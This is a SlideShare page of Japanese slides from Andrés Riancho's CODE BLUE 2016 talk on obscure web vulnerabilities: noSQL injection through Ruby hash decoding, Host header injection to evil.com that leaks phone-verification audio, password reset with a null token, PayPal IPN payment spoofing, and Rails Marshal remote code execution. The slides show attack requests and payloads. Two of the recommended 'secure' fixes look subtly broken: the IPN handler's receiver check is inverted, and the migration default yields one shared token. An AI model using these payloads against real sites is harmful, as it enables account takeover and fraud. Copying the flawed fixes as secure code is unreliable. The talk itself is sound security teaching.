Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho

540 views

Published on

この講演では、難解なWebアプリケーションの脆弱性を詳しく見せる。これらの脆弱性は多くのセキュリティ・コンサルタントの簡易な脆弱性診断では見逃される可能性があり、リモートコード実行、認証バイパスや、実際にお金を支払うことなくPayPal経由でお店の商品を購入されてしまうことに繋がる。
SQLインジェクションは廃れたが、私は気にしない。null、nil、NULLの世界や、noSQLインジェクション、通話音声傍受に繋がるHostヘッダ・インジェクション、PayPalの二重支払い、RailsのMessage Verifierのリモートコード実行の世界を探検しようではないか。

--- アンドレス・リアンチョ Andres Riancho

アンドレス・リアンチョはアプリケーション・セキュリティの専門家であり、現在はコミュニティを前提としたオープン・ソースのw3afプロジェクトを率いていて、世界中の企業に徹底的なWebアプリケーション侵入テストサービスを提供している。
研究の分野では、3comやISSからのIPS装置に対し重大な脆弱性を発見していて、元雇用者のひとりが行ったSAP研究に貢献し、何百ものWebアプリケーションに対して脆弱性を報告している。
彼が注力しているものは常に、Webアプリケーションのセキュリティ分野である。それは彼が開発したw3afであり、侵入テスターやセキュリティ・コンサルタントたちに幅広く使われるWebアプリケーション攻撃、Auditフレームワークだ。アンドレスは、BlackHat(米国と欧州)、SEC-T(スウェーデン)、DeepSec(オーストリア)、OWASP World C0n(米国)、CanSecWest(カナダ)、PacSecWest(日本)、T2(フィンランド)、Ekoparty(ブエノスアイレス)など、世界中の多くのセキュリティ会議において講演をし、トレーニングの場を設けてきた。
アンドレスは、自動Webアプリケーション脆弱性の検知と開発を更に研究するため、2009年にWebセキュリティに特化したコンサルタント会社Bonsai Information Securityを設立している。

Published in: Technology
  • Be the first to comment

  • Be the first to like this

[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho

  1. 1. 私について ▪ アプリケーションセキュリティのエキスパート (Web|API) ▪ 開発者 (Python!) ▪ オープンソースの伝道師 ▪ w3af プロジェクトのリーダー ▪ Bonsai Information Security の創立者 ▪ TagCube SaaS の創立者であり開発者
  2. 2. ORM はペンテストの星を殺した ▪ 全ての現代的な Web 開発フレームワークは、(no) SQL データ ベースとの相互作用の概念を提供する。開発者はもはや生の SQL クエリを記述することはない。 Video killed the radio star (youtube) ▪ 今日ではSQL インジェクションに出く わすことは滅多にない。これはテスタ ーが対象となる Web アプリケーショ ンを慎重に掘り下げて、危険性の高 い脆弱性を検出することを要求してい る。
  3. 3. テンプレートとデフォルト HTML エンコードを用いる MVC は XSS を殺した ▪ ほとんどの現代の Web 開発フレームワークは、ユーザーに向け て表示する HTML をレンダリングするためにテンプレートを用い る、モデル・ビュー・コントローラー・アーキテクチャを利用している。 ▪ Jinja2 のようなテンプレートエンジンでは、コンテキストデータが 標準で HTML エンコードされている。 ▪ 開発者がクロスサイトスクリプティングに脆弱なテンプレートを作 成するには、たくさんのコードを書く必要があるため、脆弱性の抑 制につながる。 <ul> {% for user in user_list %} <li><a href="{{ user.url }}">{{ user.username }}</a></li> {% endfor %} </ul>
  4. 4. 強引な入力値のデコーディング Ruby on Rails、Sinatra およびその他の (ruby ベースの) Webフレ ームワークは強引な入力値のデコーディングを行う: http://www.phrack.org/papers/attacking_ruby_on_rails.html post '/hello' do name = params[:name] render_response 200, name POST /hello HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded name=andres POST /hello HTTP/1.1 Host: example.com Content-Type: application/json {"name": "andres"}
  5. 5. Ruby ハッシュへのデコード POST /hello HTTP/1.1 Host: example.com Content-Type: application/json {"name": {"foo": 1}} 前述のすべての場合では name 変数の型は String 型だった。しかし 我々はそれをハッシュ型に強制できる:
  6. 6. noSQL ODM の導入 MongoId ODM (Object Document Mapper) のようなフレームワーク を用いる場合、開発者は以下のようなコードを記述できる: 以上のコードは Mongo データベースにクエリを送信し、user_id と confirmation_token が一致する最初の登録情報を返す post '/registration/complete' do registration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token] }).first ... POST /registration/complete HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"token": "dee1303d11814cf70d21a5193030bb8e", "user_id": 3578}
  7. 7. noSQL ODM の複雑なクエリ 開発者は Ruby ハッシュをパラメータとして扱うことにより、複雑な ODM クエリを記述できる: user = Users.where({user_id: params[:user_id], country: {"$ne": "Argentina"}}).first users = Users.where({user_id: {"$in": [123, 456, 789]}})
  8. 8. ハッシュ値のデコードは noSQL インジェクション を引き起こす トークンの検証をバイパス可能! post '/registration/complete' do registration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token] }).first ... POST /registration/complete HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"token": {"$ne": "nomatch"}, "user_id": 3578}
  9. 9. “ユーザー制御の入力値”.to_s この脆弱性を素早く簡単に修正する: ほとんどの開発者は .to_s を加えることを忘れるだろう。そしてその 過失はソースコードのレビューで簡単に見過ごされるだろう。Sinatra param のようなものを使うことを推奨する。 get '/registration/complete' do @registration = Registration.where({ user_id: params[:user_id].to_s, confirmation_token: params[:token].to_s }).first ...
  10. 10. 私の本人確認をするために電話をくれ #1 アプリケーションはユーザーに携帯電話を用いた本人確認を要求す る。電話の呼び出しは Twilio のようなサービスを用いたアプリケーシ ョンによって初期化され、電話の音声は、電話の所有者を確認するた めにアプリケーションに入力させる確認コードを読み上げる。 HTTP リクエスト 私の電話番号は +1 (541) 754-3010 だ 確認してくれ
  11. 11. 私の本人確認をするために電話をくれ #2 +1 (541) 754-3010 に電話 確認コード 357896 を音声で伝達 HTTP リクエスト +1 (541) 754-3010 に電話をくれ 電話の音声は https://vulnerable.com/audio/<uuid-4> か ら利用できる HTTP リクエスト https://vulnerable.com/audio/<uuid-4>
  12. 12. 私の本人確認をするために電話をくれ #3 HTTP リクエスト 確認コードは 357896 HTTP 応答 ようこそ admin!
  13. 13. 電話検証のバイパス ハッカーは電話検証をバイパスしたい。そのアイデアは: ▪ 管理者のスマートフォンをハックする ▪ vulnerable.com をハックする ▪ 携帯電話の電波塔を建設して、管理者の電話を盗聴する ▪ Twilio をハックする vulnerable.com をハッキングする手法が一番簡単そうだ。でも・・・ その必要があるのか?
  14. 14. UUID4 バージョン 4 の UUIDs は 乱数のみに依存する設計である。従って 音声の URL は総当り攻撃で特定できない: https://vulnerable.com/audio/f47ac10b-58cc-4372-a567-0e02b2c3d479
  15. 15. Twilio への HTTP リクエストに注目 HTTP リクエスト +1 (541) 754-3010 に電話をくれ 電話の音声は https://vulnerable.com/audio/<uuid-4> か ら利用できる POST /call/new HTTP/1.1 Host: api.twilio.com Content-Type: application/json X-Authentication-Api-Key: 2bc67a5... {"phone_number": "+1 (541) 754-3010"}, "audio_callback": "https://vulnerable.com/f47ac10b-5..."}
  16. 16. セキュアではない Twilio API コール HTTP リクエスト +1 (541) 754-3010 に電話をくれ 電話の音声は https://vulnerable.com/audio/<uuid-4> か ら利用できる import requests def start_call(phone, callback_url): requests.post('https://api.twilio.com/call', data={'phone_number': phone, 'audio_callback': callback_url}) … audio_id = generate_audio(request.user_id) callback_url = 'https://%s/%s' % (request.host, audio_id) start_call(request['phone'], callback_url)
  17. 17. 攻撃のためにホストヘッダを変更 HTTP リクエスト 私の電話番号は +1 (541) 754-3010 だ 確認してくれ POST /verify-my-phone HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"phone_number": "+1 (541) 754-3010"}} POST /verify-my-phone HTTP/1.1 Host: evil.com Content-Type: application/json {"phone_number": "+1 (541) 754-3010"}}
  18. 18. callback_url の変更における攻撃の実行結果 HTTP リクエスト +1 (541) 754-3010 に電話をくれ 電話の音声は https://evil.com/audio/<uuid-4> から利用 できる HTTP リクエスト https://evil.com/audio/<uuid-4> HTTP リクエスト https://vulnerable.com/audio/<uuid-4>
  19. 19. 必須:ホストヘッダの厳格な検証 ▪ 自分が使っている nginx、apache、Web フレームワークで、コー ドが実行されるまでにホストヘッダの検証が行われているか確認 しよう。 ▪ Django では ALLOWED_HOSTS 設定を施すことでホストヘッ ダの厳格な検証を行っている。
  20. 20. パスワードのリセット ▪ パスワードのリセットは非常に繊細なことであり、ある場合におい てはセキュアではない。最も望まれる脆弱性は、我々が所持して いないパスワードリセット・トークンを利用しているユーザーのパ スワードがリセットできることだ。 ▪ 大抵の場合パスワードのリセットは以下の手順に従う: ▪ ユーザーが新規パスワードリセット行程を開始する。 ▪ ユーザーの元に、ランダムに生成されたトークンが記載され た電子メールが、アプリケーションから送信される。 ▪ トークンは、ユーザーが電子メールアドレスを利用可能であ るかを証明することと、パスワードのリセットに用いられる。
  21. 21. 実装の詳細 class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: nil end end post '/start-password-reset' do: user = Users.where({"email": params["email"]}).first token = generate_random_token() user.pwd_reset_token = token user.save! send_email(user.email, token) post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"]}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save!
  22. 22. トークンの初期設定はデータベース内では NULL POST /complete-password-reset HTTP/1.1 Host: vulnerable.com Content-Type: application/json {"token": null, "new_password": "l3tm31n"} ▪ 新しいユーザーが作成されるたびに、データベースに記録されて いるそのユーザーの pwd_reset_token フィールドを NULL に設 定する ▪ ユーザーが新たなパスワードリセットの行程を開始する際にラン ダムに生成されたトークンが pwd_reset_token に割り当てられ る ▪ もし以下のような場合はどうするだろう・・・
  23. 23. 安全な初期設定と制限された型検証 post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"].to_s}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save! class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: generate_random_token() end end
  24. 24. Paypal の一時的な支払い通知 ▪ 私は支払いゲートウェイが大好きだ!この議題に関する以前の 私の講演を見てほしい。 ▪ Paypal はサイトに新たな支払いの行程が発生したことや、アプリ ケーション内でユーザーの資金を増やすというような作業を実行 するべきだということを知らせるために IPN を用いる。 ▪ 取引先サイトの開発者は IPN URL を Paypal の業者アカウント 設定に設定する。: https://www.example.com/paypal-handler
  25. 25. 業者 ユーザー ユーザーが "Pay with Paypal" をクリック ユーザーが Paypal で支払い IPN で支払い情報を送信 Paypal が POST を用いて Paypal API によって検証される 業者が承認した支払いが 検証完了 イベント 支払い完了
  26. 26. Paypal の IPN HTTP リクエストに注目 POST /paypal-handler HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded mc_gross=19.95&protection_eligibility=Eligible&address_status=confirmed&pa yer_id=LPLWNMTBWMFAY&tax=0.00&address_street=1+Main+St&payment_date=20%3A1 2%3A59+Jan+13%2C+2009+PST&payment_status=Completed&charset=windows- 1252&address_zip=95131&first_name=Test&mc_fee=0.88&address_country_code=US &address_name=Test+User&notify_version=2.6&custom=665588975&payer_status=v erified&address_country=United+States&address_city=San+Jose&quantity=1&ver ify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v- 1XcmSoGtf&payer_email=gpmac_1231902590_per%40paypal.com&txn_id=61E67681CH3 238416&payment_type=instant&last_name=User&address_state=CA&receiver_email =gpmac_1231902686_biz%40paypal.com&payment_fee=0.88&receiver_id=S8XGHLYDW9 T3S&txn_type=express_checkout&item_name=&mc_currency=USD&item_number=&resi dence_country=US&handling_amount=0.00&transaction_subject=&payment_gross=1 9.95&shipping=0.00
  27. 27. Paypal の IPN HTTP リクエストに注目 我々が理解する必要があるのはほんの数パラメータ: ▪ mc_gross=19.95 はユーザーが支払った金額 ▪ custom=665588975 は取引アプリでのユーザー ID であり、ユ ーザーが業者の “Pay with Paypal” ボタンをクリックした際に Paypal に送信される情報 ▪ receiver_email=gpmac_1231902686_biz%40paypal.com は 取引に用いている電子メールアドレス ▪ payment_status=Completed は支払いステータス
  28. 28. なぜ業者は確認に IPN 情報を用いるのか? 支払い完了 検証完了 イベント Paypal API によって検証される 業者が承認した支払いが IPN で支払い情報を送信 Paypal が POST を用いて
  29. 29. セキュアではない IPNハンドラ import requests PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate' def handle_paypal_ipn(params): # params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email else: return 'Error'
  30. 30. セキュアではない IPNハンドラ - 受信者の電子メ ールアドレスを検証していない Paypal アカウントを作成 業者 攻撃者 IPN URL を evil.com に設定 custom=固有の購入 id で Pay ボダンを作成 作成したボタンで支払い IPN に支払い情報を送信 Paypal が POST を用いて
  31. 31. セキュアではない IPNハンドラ - 受信者の電子メ ールアドレスを検証していない 攻撃者は攻撃者自身の Paypal トランザクションに 業者 攻撃者 POST を用いた IPN で支払い情報を送信 支払い完了 検証完了 イベント Paypal API によって検証される 業者が承認した支払いが
  32. 32. ▪ 攻撃者は攻撃対象のアカウントを偽装した Paypal での支払いを 成功させるために、攻撃対象による偽装された支払いに関連付 けられた、固有の custom_id パラメータ を知っている必要があ る。 ▪ その支払いは攻撃者のクレジットカードから、攻撃対象の Paypal アカウントに発生する。金銭はまだ攻撃対象の制御下に ある。しかし攻撃者は、各トランザクションごとに Paypal の権限 を失う。 ▪ 多くの github.com での IPN の実装例は脆弱である。それらの 実装例を用いて開発された現存製品のアプリケーションがどのく らい流通しているのだろうか?
  33. 33. セキュアな IPN ハンドラ import requests PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate' MERCHANT_PAYPAL_USER = 'foo@bar.com' def handle_paypal_ipn(params): if params['receiver_email'] == MERCHANT_PAYPAL_USER: return 'Error' # params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email else: return 'Error'
  34. 34. これは Paypal の過失なのか? ▪ 全ての支払いゲートウェイは脆弱か? ▪ MercadoPago は IPN を異なる通信プロトコルで実装している。 彼らのプロトコル は Paypal のものより優れており、セキュリティ を確保するための開発者の IPN ハンドラの実装に依存しない。 ▪ MercadoPago は購入 ID を含む GET リクエストを IPN URL に 送信するため、開発者はトランザクションの詳細情報を利用する ために https://api.mercadopago.com/ に GET リクエストを送信 する必要がある。このリクエストは認証されており、他の業者から のトランザクションへのアクセスを拒否する。
  35. 35. ActiveSupport::MessageVerifier マーシャルにお ける遠隔コード実行 ▪ ActiveSupport::MessageVerifier は Ruby のマーシャルを、開 発者が発行した秘密鍵で署名された任意の情報のシリアル化に 用いる。検証されたメッセージは以下のように見える: ▪ メッセージはデコード可能: BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==-- 8bacd5cb3e72ed7c457aae1875a61d668438b616 1.9.3-p551 :006 > Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==') => "x04bI"x1Aandres@bonsai-sec.comx06:x06ET" 1.9.3-p551 :007 > Marshal.load(Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==')) => "andres@bonsai-sec.com" 1.9.3-p551 :008 >
  36. 36. ActiveMessages は署名される ▪ アプリケーションが署名されたメッセージを受け取る際に、 base64 エンコードされたデータを受信し、サイトの開発者が管理 する秘密鍵を用いて HMAC SHA1 が算出される。 ▪ 算出された署名はメッセージから供給されるものと一致する必要 がある: ▪ 署名が検証されるとデータは base64 デコードされマーシャルが 解除される。 BAhJIh...--8bacd5cb3e72ed7c457aae1875a61d668438b616
  37. 37. 推測可能な秘密鍵による署名が引き起こす遠隔 コード実行 Ruby の公式ドキュメント には、任意のデータのマーシャリング解除 はセキュアではなく、任意のコード実行を引き起こす可能性があると 明確に記述されている。 ActiveSupport::MessageVerifier は、開発 者が管理する秘密鍵によって引き起こされるその脆弱性に対して保 護されている。劣悪な秘密鍵は以下の問題を引き起こす: 1.総当り攻撃により秘密鍵を特定 2.細工されたガジェットやオブジェクトを作成し、シリアルかとエ ンコードを実行 3.特定された秘密鍵を用いてガジェットに署名 4.署名されたメッセージがアプリケーションに送信されマーシャ ルが解除され遠隔コード実行を引き起こすガジェットがアプリ ケーションに蓄積
  38. 38. セキュアな ActiveSupport::MessageVerifier の利用法 ▪ ランダムに生成された、長い秘密鍵で、メッセージに署名しよう ▪ 異なるシリアル化メソッドを使おう: @verifier = ActiveSupport::MessageVerifier.new(long_secret, serializer: json)
  39. 39. 脆弱性は常にそこに潜んでいる ▪ あなたたちはツールよりも賢い。つまらない仕事は自動化して、 ソースコードのレビュー、アプリケーションの論理的欠陥や対象ア プリケーションの性能の理解を深めることなどに集中しよう。 ▪ あなたたちは顧客よりも賢い。彼らに確信させよう。あなたがソー スコードからより多くの脆弱性を発見し、大きな投資対効果をもた らすということを。 ▪ あなたたちはそこら辺の開発者よりも賢い(セキュリティや脆弱性、 リスクに関する教育訓練を受けている) 。彼らがいかに善良であ っても過ちを犯す。
  40. 40. andres@bonsai-sec.com @w3af

×